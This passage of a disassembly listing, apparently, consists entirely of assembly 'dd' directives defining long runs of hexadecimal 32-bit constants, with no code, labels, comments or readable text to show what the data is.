		dd 0DD0CDA8Dh, 5372E0E4h, 78A57EE7h, 5D76028Ch,	4802B26Fh
		dd 0BA9B30E0h, 0D527B904h, 7C06642h, 4C6E84C8h,	0E601A847h
		dd 253E0C6Fh, 285880A3h, 0CE041FA2h, 238B00DFh,	0F3F2D510h
		dd 62008A13h, 0CDA54072h, 0A8EDC20h, 6F59BE51h,	48B504F5h
		dd 36FCD8A7h, 0C30EA975h, 922B1AE1h, 516AD403h,	0D7BBC0F9h
		dd 53FD0041h, 1F35F35Ch, 0F266C29h, 0D00F8E6h, 99044958h
		dd 0DD76073Bh, 407971A8h, 47E8AFEDh, 5F53101Fh,	0FEAE94Fh
		dd 3B232243h, 6EAD80F4h, 0D74411h, 89165806h, 6035DBF2h
		dd 0AF0528E8h, 0BA086E33h, 0AA62FE00h, 0DF2961h, 0E95038DAh
		dd 397EA4A5h, 80744F02h, 0E8265D64h, 0A5A01EC0h, 0A8C580C8h
		dd 8A491288h, 605D9B00h, 8CD8AD8Dh, 0F6CEF062h,	0F4341D48h
		dd 0EB6740C9h, 9ED9B270h, 0C158DAC0h, 2CDECC83h, 8018CA19h
		dd 0F94BBE37h, 0B61345E5h, 7441058Dh, 0ADC1F602h, 0A8012828h
		dd 0A69FE82Bh, 16D7000Ah, 0CF330992h, 0E28B80F3h, 4860C88Eh
		dd 0EEF54E07h, 58FA1E0Bh, 40200E05h, 0CC23C995h, 0C27D92h
		dd 20C074BFh, 0CFC5CC5h, 0FD69CB17h, 17808C00h,	3095EDABh
		dd 0BE09AC28h, 0EA0FEFDBh, 0E0EED8B6h, 6DCA837Bh, 0C3D50408h
		dd 0B451053Ch, 0A01F11E8h, 9EDEEBB7h, 6BB873C0h, 45927Fh
		dd 0EDD910D6h, 407DFDE5h, 0FA5E323Ah, 76D3B00Ch, 75E7D872h
		dd 0F9A91286h, 764008Fh, 0CC4D26A2h, 3E26AFEAh,	5600850Dh
		dd 19293041h, 801C24FDh, 0C66090A0h, 75001B3h, 3D48CC5h
		dd 580B88EBh, 0E52080A0h, 0E41B8F0Dh, 0BC0E007Ah, 0C1234E62h
		dd 0E4A09159h, 0BD04E91Ch, 442C04B1h, 51500890h, 728BFCFFh
		dd 1307866h, 0B79CEF6h,	7032B392h, 0A600B85Ch, 0DE312CBEh
		dd 0EC42BD24h, 881460E2h, 807F73D9h, 4032F100h,	0C6206A0Ah
		dd 1FAB0F09h, 9FC0CDBFh, 0B7E214ACh, 3B17725h, 99400294h
		dd 0A5E4F4EBh, 0CFB8005Dh, 7A87E372h, 2073013Ch, 10F10233h
		dd 0C2F0F88Ch, 0B42014Bh, 0D7B7E74Ch, 2146DC57h, 0CB4A8501h
		dd 9B6859B9h, 9FF8DCh, 4CDA99B6h, 0E7C6A2FFh, 1C124700h
		dd 0A9A5A30Fh, 73C800D7h, 0B511C0C1h, 3C3F0EDFh, 357A0007h
		dd 6D0ADEE7h, 8C8500DAh, 8B77F74Dh, 2809C74Ch, 8197A299h
		dd 7EEA5D89h, 7C82D041h, 1E7D4AECh, 0C0DB9623h,	7A419DC3h
		dd 0D300310Fh, 0EC2EC498h, 0AB86EF9h, 0B9FC62CEh, 88003F04h
		dd 6823BFC2h, 3C0B44B7h, 80FEEBACh, 0D31DE410h,	7E5602BCh
		dd 0DF41E59Bh, 0CC09B078h, 1FDB673h, 0DE44990Ch, 0E878AAE3h
		dd 182AC3BCh, 11B5C66Eh, 5C0FF9E6h, 0E91EC497h,	0B058C3B2h
		dd 9ADBB3Eh, 0CB96E334h, 0A5C02C21h, 4E33C8F9h,	85E88027h
		dd 2490E69Ch, 1F78BF21h, 87AD3AFCh, 9128BB3h, 0C4BD4000h
		dd 9024F450h, 7C0B6895h, 0D3F0AE24h, 0E865A400h, 7C4CAEFBh
		dd 76D21FFAh, 39E407Bh,	8820A0C8h, 371A4E00h, 0AD40E33Ah
		dd 0B8B9EE62h, 0D1090355h, 0C319A39Dh, 0A66AEBA8h, 36EA8B07h
		dd 0CC51C9E7h, 0E8BA971Dh, 6285A439h, 0C29A17F4h, 0F2C24154h
		dd 599E5C68h, 0F3B4CC00h, 589611C7h, 3D09886h, 18C6E7D3h
		dd 2A98464Ah, 0EF1835E5h, 782175F5h, 1542090Dh,	240EBAFAh
		dd 9983A300h, 60121AD2h, 2800C576h, 16204C85h, 0A211C03Bh
		dd 145C5035h, 0B3825100h, 2CD85D4Dh, 232F02B5h,	0A5AB18C9h
		dd 5E528440h, 1BBB480Eh, 0E20AE7E9h, 0D8E81372h, 45D0E68h
		dd 0E18093F9h, 0E3088EF1h, 9E8F2700h, 9A7CF3ECh, 177EAD9h
		dd 1BA7101Fh, 0CF78841Dh, 0CB0F0900h, 0C8066E5Fh, 0EBDB045Eh
		dd 0C0AB5A9Ch, 952C5370h, 1B8A5109h, 0F1FB80A9h, 9ECF0CA1h
		dd 68AE0090h, 84340180h, 0BD801099h, 1B39D032h,	0B8420069h
		dd 0D668DEC8h, 7D5C82B1h, 55090070h, 5865FDEFh,	127DF0h
		dd 0E40D33D7h, 0A3FF392Ah, 0E5C09612h, 0BF6D3200h, 1C218E0Fh
		dd 81D4B2F5h, 0F2551D3Fh, 0CFB02F12h, 4859F293h, 0C303C39Dh
		dd 0AF8573E3h, 0C86EE9A0h, 6FFDAD07h, 68298C4Bh, 0FD0EC94Ch
		dd 0CB1660EAh, 47D1008Eh
		dd 399ABB0Ch, 78000F4Eh, 0AB56C2E8h, 871E65h, 0B46BB3C5h
		dd 3A31BE7Eh, 97CCD103h, 0D6BB7C6Eh, 16EBE048h,	0C0C1F152h
		dd 0B225CD80h, 2EC0941Eh, 80F42440h, 6BB43Dh, 0D6C30F4Fh
		dd 0FE6F86D8h, 0F6006EE0h, 27478E1Ch, 3B92579h,	3428BEB2h
		dd 4BBF401Eh, 0F65DAB00h, 6907D4D5h, 5220047Eh,	0A38C8711h
		dd 0E28E71BCh, 3FE009EBh, 781618A2h, 6148873Bh,	0EBE61E21h
		dd 6ABC64h, 6F568221h, 96283D1h, 70181264h, 0CD416500h
		dd 0EC02BC66h, 9A6C4819h, 87C640F6h, 5028A049h,	85AC39DCh
		dd 0C7CA4F00h, 0B1EBD520h, 9D3E7300h, 109FE3FEh, 1E5F145h
		dd 75C160h, 0DFAD58EDh,	0AAB68803h, 5501547Ah, 0A07C105Eh
		dd 15FC02D8h, 0DCB065h,	0CE566148h, 3216A664h, 466FA800h
		dd 6733CCCFh, 0A1552E80h, 780D0124h, 0E3300E81h, 0DB3235E0h
		dd 50264800h, 7CD4E154h, 1AC200DAh, 0F072EFF1h,	0C6289FB8h
		dd 0F31C6EBh, 3FA1D113h, 2694FCE0h, 6F5226h, 97176C2Ch
		dd 7400C040h, 71C727ABh, 6D30E2Ah, 0D83FE511h, 15000913h
		dd 0FAEA2D8Fh, 0C92696h, 0B57275E1h, 0EEDC4B5Eh, 2D09A5F8h
		dd 10B7E359h, 8A4D94h, 53F4BB19h, 5ABF6590h, 8E609700h
		dd 0A98D0834h, 0AAEE80h, 0CF7D5444h, 0CD470DEh,	72FEAC00h
		dd 0F1176AA1h, 0A5660384h, 2980CAEFh, 0F2ED0BD0h, 8367AE03h
		dd 0EB5709DFh, 14FA043h, 0CDA0000Dh, 0F30EBC2Bh, 87003335h
		dd 0A98EC96Eh, 2C795E28h, 3202FE9h, 3443B64Ch, 0AF404BC0h
		dd 7B21DD00h, 57F087ECh, 3E7C0094h, 83F5CFD3h, 1E3B2C15h
		dd 48F22666h, 56BB4B84h, 37E70CC0h, 497A3FC7h, 0F73F8F00h
		dd 1E24AA34h, 303C0F59h, 15497042h, 0F469003Dh,	18E8B3F2h
		dd 2C969294h, 4034020Fh, 70D28F31h, 0CAE350CCh,	4141C0FAh
		dd 35DB1BBFh, 8ADC1900h, 4B231475h, 46493DADh, 0C41F6A82h
		dd 64E8027Bh, 5100C8CDh, 6048C97Eh, 0B6A9C38Dh,	23A507E0h
		dd 0A473D0A1h, 0A00D6D7h, 0B8194D89h, 1CB7087Bh, 4E10675Fh
		dd 0F880F464h, 3199F551h, 6204F216h, 0B6759840h, 58D0AB37h
		dd 8E0E1AE7h, 64A0672Eh, 0EC5A0359h, 5DCBE0A0h,	0C00EFC00h
		dd 8DDCCE83h, 7CBE0042h, 1F02DDB6h, 121F8CB5h, 4B806850h
		dd 43F633A3h, 5C1628AEh, 1D7107AFh, 0F0CAD26Eh,	0AAE94495h
		dd 7C2DC903h, 0D2ACF3F1h, 0C7ACC873h, 0A62A00F8h, 0DA154D87h
		dd 8A1FBD56h, 0C7ACCCAFh, 7C6009h, 0B9B13578h, 0E82B00B7h
		dd 86417D06h, 3F002416h, 0C1979DDCh, 0B2C814ADh, 0C7BC0574h
		dd 874A2D1Bh, 5428E082h, 810E5A4Fh, 0DE883E2Eh,	2DBC7AC0h
		dd 73645A1h, 0B2661FFCh, 0D5BAB2B0h, 0B3269940h, 9E144A01h
		dd 6B49AC4Dh, 0ED07B08Ah, 478580ACh, 0F8B61A84h, 68B75700h
		dd 0A0FDD393h, 79DC00AEh, 47A23218h, 5F5E7803h,	0F36D1400h
		dd 3A6FCE23h, 0EC0FBDD9h, 8E402E38h, 873DBA32h,	0AEC1563Ch
		dd 811C98F2h, 0D429DA00h, 30246883h, 4E493F1Ah,	0FF00FE10h
		dd 3C3BAA69h, 9294F6BBh, 52AB3938h, 0C041580Ch,	6F040E10h
		dd 1DCF8424h, 44EF4082h, 48F30E34h, 0D640F28Ch,	0EDAE4518h
		dd 694DD916h, 7F748880h, 5C751D68h, 0D284156h, 20D22D49h
		dd 0C600C040h, 3D66F9D5h, 3D0C4B9Dh, 0AB80FE4Ah, 38AED239h
		dd 0C8A00841h, 52002AA2h, 16C728EBh, 5C023Eh, 7489D6F3h
		dd 789E85E9h, 4608DC00h, 0CCD04249h, 2A363994h,	12D2840Bh
		dd 0D6DC0E8h, 0DA824F0Eh, 5EA1800Eh, 0FF25128h,	52DDCB23h
		dd 0D893BD60h, 2400E507h, 3C47AB68h, 7E2D4C3h, 9555C020h
		dd 0A2A9E063h, 1703E602h, 0DB30423Eh, 14C88815h, 0D844018Ah
		dd 2AD5AC22h, 0A8C3F0E6h, 755B640Ch, 8E58BBh, 459E1051h
		dd 0D5B97CD8h, 0D32FDC00h, 55B83888h, 82B50068h, 0BA47847Fh
		dd 0CE00B3F3h, 0A88BF47Bh, 0A09A3FF6h, 2401CCBCh, 0CE8011h
		dd 9F5B0412h, 0B401BF42h, 0BEC32F57h, 0F6C063B9h, 167A0068h
		dd 98CDFAD7h, 6400C4B8h, 85BFC36Eh, 99371h, 822CC705h
		dd 89E44FF9h, 9A654009h, 5DD09135h, 0C09D30h, 0EFDF2195h
		dd 58B50727h, 0E7EAAB00h, 8D624017h, 4A460082h,	0C206A041h
		dd 6D0965B0h, 0A75DE2h,	4C39F631h, 4AD3D43h, 80203124h
		dd 0CAE0A021h, 0DF03C163h, 8DDB395Ch, 2A92E01Bh, 0D271C6h
		dd 20720AF7h, 0CDD091CCh, 0D9CAFC13h, 4A440Eh, 6861D48Ch
		dd 791E38B1h, 11195A00h, 0D32DCAC8h, 3AAD9001h,	4031433Bh
		dd 0CBB8C8h, 0E11FFF0Ch, 54A2FBD9h, 0D0E46900h,	0A4052B6Dh
		dd 450E0655h, 0D08F427Bh, 26602700h, 0C2EF89EBh, 849A0049h
		dd 85E481DAh, 9807D923h, 69BD2897h, 0D2401C50h,	0C53A3EE8h
		dd 644E980h, 9947312h, 6EC4B100h, 705D95A1h, 7F7700F3h
		dd 1458A3B0h, 9B0E288Bh, 7CB386h, 0E38508CBh, 7B040027h
		dd 139499BAh, 91039D77h, 8466A06h, 0E6200090h, 0C3286102h
		dd 7E01E703h, 6E55FB54h, 9CE869BBh, 70637648h, 0B03C000Bh
		dd 641312DBh, 891E190Eh, 4ADE51D8h, 40905F80h, 327666Fh
		dd 9A3915D1h, 59B0AAAh,	781F9B0h, 99F0B401h, 8030567Eh
		dd 4961FCh, 3FBF35FFh, 0F5BB4A0Bh, 1FD1B501h, 62C938CDh
		dd 4599ECh, 1BDADD05h, 0BE6BFE89h, 4B593300h, 3E93083Ah
		dd 86C20138h, 8EAA658Ch, 872AF8C4h, 7C052F00h, 3EA472DBh
		dd 9F2701F6h, 0B44F1A06h, 88D60ADh, 79377D00h, 56BA7FC0h
		dd 5A8C00B1h, 9D859F55h, 0C00ED34h, 66C94722h, 0D87748h
		dd 0BBB01BA1h, 16F9CF9Bh, 0C29A8C0Fh, 0E17083C3h, 939D9872h
		dd 296C008Bh, 86F7E3Ch,	837E557Ch, 0C0078C1Fh, 484CFF40h
		dd 0FAE2025Eh, 7D6E008Fh, 0B0FC3380h, 0DB2CE6FAh, 1C003297h
		dd 3BF931FFh, 0B8097782h, 0C4B2018Ch, 366FC0DDh, 6B47FC8Ch
		dd 0EABA5107h, 7B909E0Ch, 13F4B882h, 3BA640h, 2D6C4F1Dh
		dd 0D3335348h, 0D9D668E1h, 7D32FAAh, 129EDA78h,	19328046h
		dd 6A60CCE9h, 0C1CA7A18h, 0C8AAEEE8h, 25013A11h, 78D38713h
		dd 6FFF2086h, 0ED06C1D2h, 327AC489h, 3850D018h,	0AEE91606h
		dd 6A05496Bh, 0EF1A47C1h, 0E4CAFEC0h, 0BD2502B9h, 6DFF7FEEh
		dd 9F572881h, 1840BCC4h, 5AA0DF45h, 290FE8D7h, 18104D48h
		dd 555E3801h, 84001AFCh, 76FFE124h, 0E43956h, 92E0FCF6h
		dd 0BE726FEAh, 159A9001h, 24137AD3h, 0D88CFCh, 32263F17h
		dd 67C6ABB8h, 1F2D1958h, 5947E5ADh, 5CC1F0E9h, 60D68A2Dh
		dd 1C7C810h, 137CB8F1h,	3061E130h, 0FA001D43h, 4970A18h
		dd 49B314h, 5AC878CEh, 43706C92h, 8265D300h, 1192371h
		dd 6458001Fh, 0D8D74908h, 0B072925h, 0B6D54038h, 5E431380h
		dd 3D14F4DAh, 359D7241h, 0D728CBh, 4E04DDF0h, 0B2EEAA75h
		dd 0A8EEF1B8h, 14C38100h, 3C6FD606h, 18EC00E4h,	0D3503662h
		dd 0A00E557h, 555C076Ah, 2C48214h, 7D3A327Ch, 0D8A0861Ah
		dd 0AF850BA0h, 8E00C098h, 8C68B3B2h, 0E250A9B0h, 5FA60084h
		dd 0F7238B51h, 800C273Bh, 925240Bh, 0E5960053h,	0E2931A61h
		dd 0EF00D7A6h, 9888A7BEh, 0C7AE10B9h, 90D5A251h, 1173C15Bh
		dd 0B01C758h, 58C4C5A4h, 5A702Ch, 9A04E927h, 451CB58Ch
		dd 998D1900h, 6A47A50Dh, 18CC0024h, 9EA43E9Fh, 0A1079057h
		dd 99C2C4ECh, 7E980360h, 10DF8F9h, 6BEBC612h, 0F47FA3A4h
		dd 0CB002208h, 9BB5C269h, 0B41476h, 940E7D09h, 0F018FD40h
		dd 315B7500h, 611CC2CDh, 594307BFh, 70C78841h, 77ED8589h
		dd 532DD500h, 9AA35F82h
		dd 1B3A0076h, 0D947819h, 0C70F5D14h, 80629C37h,	0D6D2AE05h
		dd 9E2A0253h, 6DCF86FEh, 1C307440h, 7B2CF300h, 70239B36h
		dd 0FFAB00CDh, 7CE3C366h, 0D300E0E5h, 3A6351F4h, 73DBDC8h
		dd 16A4A86Eh, 29FDF021h, 5400F87Fh, 0D5CC1760h,	1F4E8475h
		dd 6492794Ah, 0C16D8F90h, 0C7C51380h, 0C300CCF9h, 63F84209h
		dd 675A20h, 0B86BC1A9h,	89E2397Bh, 0BACC0700h, 0DCA712F0h
		dd 77720B3Bh, 0EB00345Bh, 0C2238EFDh, 90966600h, 569367CBh
		dd 0F7907C1h, 70775F1Dh, 6A2C9E73h, 2D0036FAh, 8ACF6E60h
		dd 0D2E059h, 6776B1C7h,	0B0493F5Dh, 822B4C00h, 0D6AD55D4h
		dd 0C7CA0709h, 9333A132h, 97DF6C08h, 7D007921h,	66B5ACB9h
		dd 3E2C8E00h, 9023D1EAh, 324806BBh, 0F8DA54D5h,	0E3432222h
		dd 9325988Ch, 0A000A6C8h, 0D32595Ch, 46FB86h, 47E2C8F2h
		dd 0C67DC921h, 5A449D1Ah, 0E9F540EAh, 91F800C0h, 9F77CA60h
		dd 0B65408FEh, 1C0086DCh, 21FB3701h, 1D230E87h,	15045559h
		dd 6524E46Eh, 447E0075h, 7B323CF8h, 0ED008778h,	0BE966A95h
		dd 72080Ah, 8BF51CD4h, 9D811A2Fh, 0FFF1CD00h, 0B9520201h
		dd 0AFA4A0E5h, 87E0467h, 87CFCC8Ch, 8823F228h, 0BBFB48E1h
		dd 0D6329098h, 31B7077h, 8720FA34h, 0FFC8AD08h,	3601AB57h
		dd 0D734C99h, 58A83158h, 0D5CD26E7h, 0C0BF1E9Fh, 0BD4CB528h
		dd 3300551Ah, 9052AA34h, 2B4F26h, 0A739DF6h, 8545197Ah
		dd 496EF200h, 0A41AC49Eh, 9580294h, 65336105h, 0FA3612E0h
		dd 7DDC6A07h, 0C10E67A8h, 2692EB0Eh, 0D95FE0h, 27ECDFC2h
		dd 0B134E23Eh, 6B409900h, 0FAD8EF07h, 4C7960h, 10210666h
		dd 0D36D0356h, 0A897B100h, 0AF0A79F1h, 85E681h,	0A13AC3A3h
		dd 7C4B5576h, 64A85400h, 31E4481Eh, 0F1583971h,	70915A04h
		dd 0F65DC0A1h, 72004793h, 0C954920Fh, 3CE7795h,	0C3F837D4h
		dd 98E3254Eh, 0D1801DEAh, 361572D7h, 0F7BB7516h, 8B06B500h
		dd 4CC2F81Fh, 101987Ch,	0B9D46E7Bh, 401CDDEBh, 0FB728288h
		dd 5F004B71h, 6AFC6642h, 62D373h, 3B34D0D7h, 0F5B7C02Eh
		dd 6F0E7590h, 76A26D02h, 6A268800h, 1B57ED8h, 0FBA9DD11h
		dd 25B4491Ch, 886CD43Ch, 272ED001h, 12F26E9Dh, 431DBC0h
		dd 36943C3Ah, 0C40EAF63h, 0D6C900A8h, 0A17DB1AAh, 13EC27F8h
		dd 7E82301Bh, 9C36F010h, 0AF99C400h, 0AED85F4Eh, 79580FDBh
		dd 0BB20B88Dh, 0D7C58659h, 0CE3D6890h, 0E76F1D96h, 49AA5130h
		dd 665B12EEh, 0A1B80081h, 3EF115D2h, 8EF68300h,	0FF390819h
		dd 443700ACh, 5F6DDF02h, 5100678Bh, 6E1C12ECh, 0AFFA5F3h
		dd 26808E79h, 47E80EF4h, 15B7AD00h, 4D13E190h, 140F53BEh
		dd 75094548h, 0ED80EFC0h, 430D2CFAh, 0CDC839EDh, 4A10A500h
		dd 1C4144E3h, 0C81FB877h, 46008FE5h, 64CC666Ah,	5DD50007h
		dd 7098FC09h, 2900BAA7h, 3108F73h, 787BB2h, 0E5387AA9h
		dd 0CCEDC82Bh, 8D661B00h, 533A2C62h, 291700DCh,	0CAC41D7h
		dd 2F02225Fh, 4257306Eh, 95C2C0ABh, 4D20390h, 0E68C5069h
		dd 572BF4B8h, 2D876C1Eh, 2E0E4466h, 0AAFA47CFh,	310AD500h
		dd 0DFA200C1h, 114481F7h, 4C3C0F14h, 5500F5CEh,	0DBC2B29Fh
		dd 3AC1C9h, 37BD02F3h, 1A605184h, 0B828030Bh, 19A0008Bh
		dd 183A6AC2h, 307BBF15h, 9B00F23Bh, 1CCF842Ah, 0C447EFh
		dd 0C68F4A94h, 0DB8EB92Dh, 847A6700h, 279AB85Eh, 88990030h
		dd 0FCA6CFA4h, 0F7047029h, 1C452339h, 0E51464C1h, 1D69EC74h
		dd 40209954h, 2C2DB3BCh, 6328C3E7h, 0E926A1B8h,	1002065h
		dd 2B0233EDh, 0ADD4009Ch, 0A89226B5h, 0F009538h, 183F4716h
		dd 3ACB7AF2h, 7B80E978h, 64D21701h, 0EF090F7Dh,	4470FF9Ah
		dd 385CB034h, 3C84C1ACh, 3C7CF9Bh, 0C124E1EFh, 1180DB7Fh
		dd 0E2D7DAD1h, 570069F0h, 882DAF13h, 3DD2371Ah,	80BCB151h
		dd 0E5F7BF7h, 0E50E8414h, 8FBBA320h, 0F20008DEh, 9DD3AD6Bh
		dd 12D150Ah, 90AF7E33h,	0FB9B930Ch, 5D1CDAE8h, 35003AE8h
		dd 0E6FA7686h, 0B7F780h, 0FB0EB643h, 7E8F529Bh,	0D346E403h
		dd 0E209E6CFh, 1E0C81ECh, 9FD18CA8h, 0E8370E0h,	0AA889E7Bh
		dd 400C9A86h, 0D34A0B00h, 3F666596h, 0D93A0070h, 8C5781CEh
		dd 720090EDh, 0E49ABC4Fh, 6B7C15h, 0C660B688h, 0AB5D8EFBh
		dd 0A26EE200h, 7C1896D8h, 6F9A0035h, 0E6ACF4B9h, 9201857Eh
		dd 98B44BDCh, 81CC5C8Fh, 0A1F81E88h, 0AD4807F1h, 0D380EFEBh
		dd 629123EFh, 5D30AC00h, 0FFDAD497h, 8FE89Eh, 0D6EF341Eh
		dd 8546408Eh, 7AA903Ch,	8DB8F8EEh, 0B01A42D0h, 0E98F0076h
		dd 67BC1074h, 3A009482h, 9F52D76Fh, 0A0F2BE86h,	0F8DDE484h
		dd 0D8E507DBh, 70F0DE33h, 22E6DC32h, 0E2B06E00h, 67B76F31h
		dd 0D3850349h, 0D19A5DC4h, 0D2FF0900h, 0D7C68C37h, 3190034h
		dd 0F4AF902Ah, 0B1038B1Ch, 0C20598B6h, 44AB981Eh, 52DD0051h
		dd 0D99532E2h, 7312B641h, 7A1E5818h, 0AB16F340h, 15EC03h
		dd 0FDACA74Ah, 19AE4364h, 0ADA1210Eh, 0CCE80F9h, 0EE20EE46h
		dd 0F89F002Bh, 19241C92h, 413F642Ch, 89C01EA5h,	8079874Fh
		dd 1D329F81h, 29EC0002h, 0DEF7D156h, 0C91D6E7Fh, 23C0830Bh
		dd 30E9C043h, 893C3947h, 1312AB0h, 7C00A95Eh, 50EF529Ah
		dd 6DD71Eh, 123CE26Ch, 8CEB167Ah, 0A9BCCD00h, 52325089h
		dd 4F882CC1h, 0C4A400C2h, 65B3C88Dh, 4EC9D4FBh,	8C45D900h
		dd 0E9053424h, 9DEA3843h, 704A5C98h, 950FFB5Fh,	0C09BA216h
		dd 5AC9E342h, 0C1974B9h, 0E06D9825h, 1058E228h,	3C530178h
		dd 84671BA7h, 0F9F7020h, 2B153D90h, 0AAEE29A3h,	3ABF56E8h
		dd 8DC9DD00h, 0D859A80Ah, 0D37460h, 6361C57Bh, 67D299C6h
		dd 1A0F3702h, 489EFB10h, 3A7E198h, 1872A215h, 3DF84986h
		dd 7F000536h, 0B45CCBE8h, 3C75071h, 58FE8E0Eh, 2DA8C978h
		dd 0B80F9554h, 0A02BF5EFh, 9FAF82A0h, 0CC320E06h, 8020FF77h
		dd 522D6F25h, 1C93CA01h, 3BBD6A2Eh, 0FBA3C843h,	0B95A0055h
		dd 0EFCE905Dh, 52E85E6Eh, 26F71400h, 0D0F12AE1h, 59B0E6h
		dd 0C0F32EBh, 0A1CA1E72h, 0E7B05800h, 7DD8F874h, 3E1D0064h
		dd 0C7ABFA5Ah, 95009735h, 0CA0699D1h, 9EA466h, 0F608AF9h
		dd 0C558334Dh, 1F0B7C00h, 0ECC8A936h, 0D64900D2h, 43CD7BE0h
		dd 9200A4F6h, 22A56F87h, 4C92EABh, 7C513846h, 552CC07Fh
		dd 0B20005AAh, 0DF83D58Eh, 3274474h, 652CCAF6h,	46F0A340h
		dd 0DD00AD9Dh, 0CD1C9EDCh, 606D6FAEh, 4079A6EAh, 0EE008BD4h
		dd 0C98A4889h, 67DD87h,	0F2B75CBDh, 0B4AB7828h,	802F663Fh
		dd 63A5CE6Fh, 0E8650311h, 950500A3h, 85101B40h,	0E4A0E909h
		dd 0FA09A793h, 8DF56h, 5C78DC20h, 0FD2D00C3h, 793D9E1h
		dd 80093379h, 912A0h, 0A5D30B14h, 77690E64h, 0DB404810h
		dd 0C7E75CFDh, 0FA671118h, 18476BC0h, 11BE1C89h, 0A0B92ACh
		dd 1506ACBh, 25D6C5A7h,	490950BAh, 0CC0038E7h, 75079F21h
		dd 9C9E9B00h, 323695F4h, 0A51E2A19h, 0EFC90F8Ch, 65800258h
		dd 0A2EEDAFh, 0C14F2733h, 8B0CA04Ch, 0A66B1F13h, 8058641Bh
		dd 1A3D509Fh, 0C900EA2Ah, 0B978A791h, 211235h, 0C7F22790h
		dd 0B076CB52h, 9CE5FA00h, 0A2BA77F6h, 38C30E88h, 0B520F578h
		dd 74B69F6Ch, 80A7663Bh, 0B08E93ECh, 0F2DFBEEDh, 0D8AC00BCh
		dd 6160E2B1h, 0A00090C6h, 0A37DC553h, 0B80E34h,	0CD1B91F8h
		dd 0AE861C6Bh, 0D1FDF8C0h, 60A67E46h, 9C1241CBh, 0D30053B8h
		dd 4E85E16Bh, 99EBFh
		dd 8640C3A0h, 565EBB31h, 34D9FD03h, 12C60DB4h, 142E038h
		dd 0A1B22F1Ch, 0B39F095h, 3E5DCC0Fh, 7903F31Bh,	0A82C9752h
		dd 9DE2A3h, 7B3508BBh, 0D7FC5EF9h, 0A261AC00h, 48572F0Fh
		dd 2DB06Dh, 82172BB6h, 0C3B731FAh, 220E5600h, 0EB27FCE5h
		dd 0C760032Dh, 0AAF58A02h, 2A7469F8h, 192EE300h, 6662A180h
		dd 86080075h, 0C76A218h, 0E6013D82h, 0C8E02032h, 5CC0480Ah
		dd 0D47A3E87h, 80A6C860h, 9448CF6Eh, 795E0380h,	9B198959h
		dd 976DB6Ch, 0C0343CF8h, 28007789h, 41158EB0h, 2F0AA10Eh
		dd 9D49E00Ch, 9296ACE1h, 53613000h, 0E5D75276h,	60F24Ch
		dd 99A59CCCh, 4718FB3h,	2E3C28E7h, 0FC3480ACh, 570E82F4h
		dd 69D17C35h, 0EF30000Fh, 27A4019h, 0F69A77F9h,	3C4409CFh
		dd 0D840A0DEh, 0B70ACB55h, 8FF002FBh, 363425DBh, 0EF20B848h
		dd 5CC8991Dh, 6C9268A4h, 3C0D3C00h, 133971Dh, 0B7D901AAh
		dd 43064A35h, 5FC86F90h, 9800F17Eh, 12291CEDh, 0BA0402h
		dd 13613899h, 0A9F3461Eh, 24B080E4h, 0E1F11400h, 0AAA3FFC2h
		dd 2B1F0089h, 7333DEDh,	7D129008h, 9103ACA8h, 0F05E81E9h
		dd 0E437EF2Ch, 7E2E0951h, 0A4009FF5h, 99E8F272h, 0AD683100h
		dd 5BCEAC94h, 772E12E1h, 5C3401F6h, 0EC076245h,	0A700C9A4h
		dd 235E08F0h, 0B03AA03Eh, 82E500D4h, 7888FE92h,	4F0379D8h
		dd 0D01D039Dh, 0D390A71Bh, 3D06BFE8h, 0CF80048Ch, 64B5071Ch
		dd 5E006BEBh, 7A02199Fh, 0E7A52Bh, 72478284h, 21D09929h
		dd 9728F61Fh, 3BFFD9Ch,	0D33E14AAh, 0DFBCA0C8h,	55123A91h
		dd 0AF9F3A80h, 0F580491Dh, 80E0343Bh, 0EE406C9Eh, 0B0CA72F0h
		dd 54741C38h, 5C1D807Ah, 2B16BE70h, 52A73100h, 49712225h
		dd 26100B2h, 0BF795F99h, 5A002BA1h, 3382C827h, 3104341h
		dd 0EDDCF030h, 7AA86714h, 0F00B5EAh, 922DFDD4h,	4C41A0h
		dd 3CD039B0h, 0A4239360h, 7E516B07h, 0E26373DDh, 277100A0h
		dd 585F590Ah, 6E1681B6h, 491177DDh, 400E2010h, 50745A78h
		dd 3F98BD01h, 705D25E9h, 15771081h, 805B580Bh, 0A09FA620h
		dd 63DE31D3h, 405D48A4h, 0CDF183Ah, 14618356h, 0A0FA0079h
		dd 62577BD8h, 0CB0795E1h, 7DD756FCh, 6A5D9C10h,	79A615DFh
		dd 8E9C5C75h, 60985912h, 403DD7DAh, 304EBA9Eh, 4C0B8190h
		dd 65AD007Fh, 981E8FEh,	4A005994h, 64EBE6DBh, 610E31h
		dd 912657BAh, 481C72ABh, 30925200h, 0D15C332Dh,	0FC6703B7h
		dd 0F739E1D2h, 606E74A9h, 0E8032733h, 0C4FBACE4h, 5841D88Eh
		dd 53C11CFEh, 0DFDC4097h, 0F4CEA611h, 0AC986C03h, 0F0BB1B60h
		dd 3EEEF66Dh, 86805687h, 9D42CAFBh, 0BA7C5739h,	35097D00h
		dd 674DDA9Bh, 0C5B7B89h, 45E84AA1h, 0AD00F324h,	8D2FE30Ch
		dd 85F0EBh, 0D0B2D65Ch,	338C3056h, 0E93ED104h, 28883B95h
		dd 0E69A0144h, 7996DD6Bh, 989DE9DEh, 64214908h,	33E60799h
		dd 532946B7h, 53D80A21h, 0E800E028h, 587D410Eh,	0F47D95Dh
		dd 6BA13F46h, 187822A6h, 3A219F1Fh, 0B63624E0h,	6AC2C34h
		dd 60E9BC61h, 90F2B2F0h, 0B16A0909h, 990C067Fh,	21516008h
		dd 8A908897h, 21AB3Fh, 0F63FEEC0h, 34F9FEAh, 0D81C668Ch
		dd 704458AAh, 0BB9025F8h, 0AEDE6300h, 0D13A4F1Dh, 0A02701ABh
		dd 3C578322h, 0BB2980DCh, 969BBCF6h, 0B8310063h, 22EFC64Bh
		dd 82EF99A1h, 0BFB6F738h, 40CDE023h, 0DE40C7D8h, 6566A0E3h
		dd 19B04D19h, 0C369CA00h, 311C7C28h, 64D0002Dh,	0DEB3A47Ah
		dd 1F000AF1h, 20CEB901h, 16B207h, 6F5DF327h, 0CBE30F8Ah
		dd 0EE1F600h, 235790Bh,	0BFAD0187h, 0FD374F26h,	3B7DE0F3h
		dd 0C2D7E200h, 2AF7BD16h, 32050970h, 7680085Ah,	988ADB82h
		dd 0ED00EB7Ch, 0B5DFEC9Dh, 0E8D9F29Bh, 0DD760E9Fh, 0A68174E6h
		dd 0E8121AC4h, 16601B0Ah, 78F16009h, 0F66F0019h, 0CACB6A6Dh
